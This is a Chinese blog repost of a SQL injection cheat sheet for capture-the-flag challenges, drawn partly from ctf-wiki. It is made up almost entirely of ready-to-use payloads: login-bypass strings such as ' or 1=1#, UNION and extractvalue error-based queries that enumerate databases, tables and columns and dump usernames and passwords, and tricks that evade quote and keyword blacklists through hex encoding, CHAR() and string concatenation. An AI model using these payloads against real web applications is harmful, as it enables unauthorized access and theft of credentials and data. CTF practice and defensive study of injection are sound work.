当前位置: 首页 > news >正文

sql 注入 ctf wiki

部分转载ctf-wiki

判闭合形式:

哪个报错就是哪种
1,1’,1’‘,1’±,1’'±(双引号带括号)

万能密码:

admin’ –
admin’ #
admin’/*
’ or 1=1–
’ or 1=1#
’ or 1=1/*
') or ‘1’='1–
') or (‘1’='1–

数据库名:

  1. SELECT database();
  2. SELECT schema_name FROM
    information_schema.schemata;
  3. extractvalue(1,concat(0x7e,database(),0x7e))

表名

union

  1. 数据库中的表:
    –MySQL 4版本时用version=9,MySQL 5版本时用version=10 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE
    version=10;

  2. 用户自定义的表 UNION SELECT TABLE_NAME FROM information_schema.tables WHERE
    TABLE_SCHEMA=database();

报错

  1. ExtractValue(1,CONCAT(0x5c,(SELECT table_name FROM
    information_schema.tables where table_schema=??)));

列名

union

  1. UNION SELECT GROUP_CONCAT(column_name) FROM
    information_schema.columns WHERE table_name = ‘tablename’

报错

  1. ExtractValue(1,concat(0x7e,(SELECT(GROUP_CONCAT(column_name))FROM(information_schema.columns)WHERE(table_name)like(‘tablename’))))

根据列名查询所在表

  1. 查询字段名为 username 的表
    SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’;
  2. 查询字段名中包含 username 的表
    SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’;

查数据

union

  1. -1’ union select 1,2,group_concat(concat_ws(username,password)) from l0ve1ysq1#

报错

  1. extractvalue(1,concat(0x7e,(select(group_concat(concat_ws(username,right(password,20))))from(tablename))))

绕过引号限制

  1. – hex 编码
    SELECT * FROM Users WHERE username = 0x61646D696E
  2. – char() 函数
    SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

绕过字符串黑名单

  1. SELECT ‘a’ ‘d’ ‘mi’ ‘n’;
  2. SELECT CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  3. SELECT CONCAT_WS(‘’, ‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
  4. SELECT GROUP_CONCAT(‘a’, ‘d’, ‘m’, ‘i’, ‘n’);
http://www.lryc.cn/news/248742.html

相关文章:

  • Flutter创建TabBar
  • 双流网络论文精读笔记
  • 机器人与3D视觉 Robotics Toolbox Python 一 安装 Robotics Toolbox Python
  • JS之Object.defineProperty方法
  • 卷积神经网络(CNN)注意力检测
  • 4. 权限,特权
  • 云原生系列Go语言篇-泛型Part 2
  • 借助ETL快速查询金蝶云星空表单信息
  • 基于深度学习的驾驶员状态监测预警系统(正文)
  • 读书笔记之《价值》张磊
  • 【shell】文本三剑客之sed详解
  • Centos7 制作Openssh9.5 RPM包
  • C语言--每日选择题--Day30
  • LeetCode 274. H指数——排序
  • 【洛谷 B2038】奇偶 ASCII 值判断 题解(顺序结构+取余)
  • Ubuntu 20.4 源代码方式安装 cdo(笔记)
  • 电子学会C/C++编程等级考试2022年12月(三级)真题解析
  • 二叉树的最近公共祖先(C++实现)
  • 【conda】容易遗忘的命令使用总结
  • 蓝桥杯第一天-----时间显示
  • 多文件夹图片预处理:清除空值、重置大小、分割训练集
  • 【Java】集合 之 使用 Map
  • 第二证券:股票几点到几点开盘?
  • goweb入门教程
  • 量子计算:探索未来的计算技术
  • HarmonyOS应用开发者基础认证考试题目及答案
  • c# 文件读取和写入
  • 【MySQL库的操作】
  • rocketmq 集群环境部署及与spring cloud 集成
  • SpringBoot——配置及原理